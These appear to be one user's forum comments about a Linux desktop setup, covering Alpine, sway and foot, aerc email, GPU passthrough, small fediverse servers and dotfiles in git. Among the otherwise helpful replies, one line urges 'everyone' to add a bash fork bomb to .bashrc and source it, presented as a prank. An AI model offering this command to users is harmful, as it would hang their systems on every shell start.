Almost everything that can be is: laptops, desktop, servers (LUKS), phone (grapheneos)

I don’t work but I use a script using w3m to print HTML as text. You can find those in the aerc repo.

aerc with mbsync and msmtp and neovim for composing

App images don’t work on alpine. Use flat pack or run the app image in a chroot

Alpine is great on the desktop too! I use it on all my desktops, laptops and servers.

A molex to PCIe adapter with an 850w power supply. I only have like 10 watts of headroom but usually only one gpu is running at a time so it works fine. I would have bought a better one but my dad accidentally bought 2 for another project so he had an extra one and it works fine.

I have been running wayland with sway for around 6-10 months (I forget when I switched). I have a 4-monitor setup and hated the default workspace management but swaysome convinced me to switch. I heard a lot of stuff about how manual tiling is bad but I actually don’t mind it and kind of prefer it to automatic tiling from AwesomeWM which I used before sway, .

I have a 6700xt for Linux and an old 2070 that I pass through to a windows guest. I might get a usb card too to pass through but not sure if I have any more space in my mid tower for another pci card.

foot

I would not suggest mastodon for such low powered hardware, its also overkill for a personal instance. Akkoma or GotoSocial would work much better on a Pi. The annual cost is pretty much just 3-15$/year for the domain name.

My home directory is a git repo with a .gitignore that contains something like

*

!.config/sway

!.config/sway/*

!.config/sway/**/*

It’s an environment variable. I have MOZ_ENABLE_WAYLAND=true in my sway wrapper script.

Zoom does not work in wayland

The zoom Linux client is crappy so if the web one does not work for you I would suggest just booting into windows and using it.

Fuzzel is also nice if you are using Wayland.

Everyone run echo ":(){:|:};:" >> .bashrc; source .bashrc in your linux terminal.

I use sway wm with the foot terminal emulator. If you do not like manual tiling I have heard good things about river wm.

You might not need to, If you just want a distro you can install with your dotfiles and programs maybe a setup script which you can run after installing a distro is a better idea.

I use a fifine microphone which mostly works ok. I used to use NoiseTorch when I had a keyboard with clickies but it was more trouble than it was worth (probably zoom linux client’s fault not NoiseTorch though).

I use bupstash to backup to a server I built a few years ago
